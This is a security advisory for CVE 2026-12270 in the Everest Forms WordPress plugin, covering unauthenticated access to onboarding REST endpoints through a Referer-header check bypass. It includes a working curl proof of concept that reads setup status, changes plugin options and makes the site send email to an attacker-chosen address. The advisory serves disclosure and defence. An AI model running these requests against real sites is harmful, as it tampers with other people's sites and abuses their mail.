Everest Forms < 3.5.0 – Unauthenticated Missing Authorization via Site Assistant REST Endpoints | CVE 2026-12270

Description

The plugin does not correctly restrict access to several REST API endpoints belonging to its onboarding assistant: the capability check is only applied when an attacker-controllable request header holds a specific value, so it can be bypassed by omitting or changing that header. This makes it possible for unauthenticated attackers to read onboarding status information, modify the related plugin options, and trigger an email from the site to an arbitrary address.

Proof of Concept

Fully unauthenticated (no cookies, no nonce). Confirmed on 3.4.5 and on the current 3.4.8.

REST="https://TARGET/index.php?rest_route="

# 1. Read setup status (no auth)
curl -s "$REST/everest-forms/v1/site-assistant"
# -> HTTP 200 {"success":true,"data":{...setup booleans...}}

# 2. Modify onboarding option flags (no auth) - flips everest_forms_spam_protection_skipped to 1
curl -s -X POST "$REST/everest-forms/v1/site-assistant/skip-setup" \
  -H 'Content-Type: application/json' --data '{"step":"spam_protection"}'
# -> HTTP 200 {"success":true,"message":"Setup steps skipped: spam_protection"}

# 3. Send an email from the site to an attacker-chosen address (no auth)
curl -s -X POST "$REST/everest-forms/v1/site-assistant/test-email" \
  -H 'Content-Type: application/json' --data '{"email":"attacker@external.example"}'
# -> HTTP 200 {"success":true,"message":"Test email sent successfully..."}; wp_mail() fires to attacker@external.example

# Control: same skip-setup WITH a Referer containing page=evf-dashboard is denied
curl -s -X POST "$REST/everest-forms/v1/site-assistant/skip-setup" \
  -H 'Content-Type: application/json' \
  -H "Referer: https://TARGET/wp-admin/admin.php?page=evf-dashboard" \
  --data '{"step":"create_form"}'
# -> HTTP 403 rest_forbidden (proves the gate keys only on the Referer header)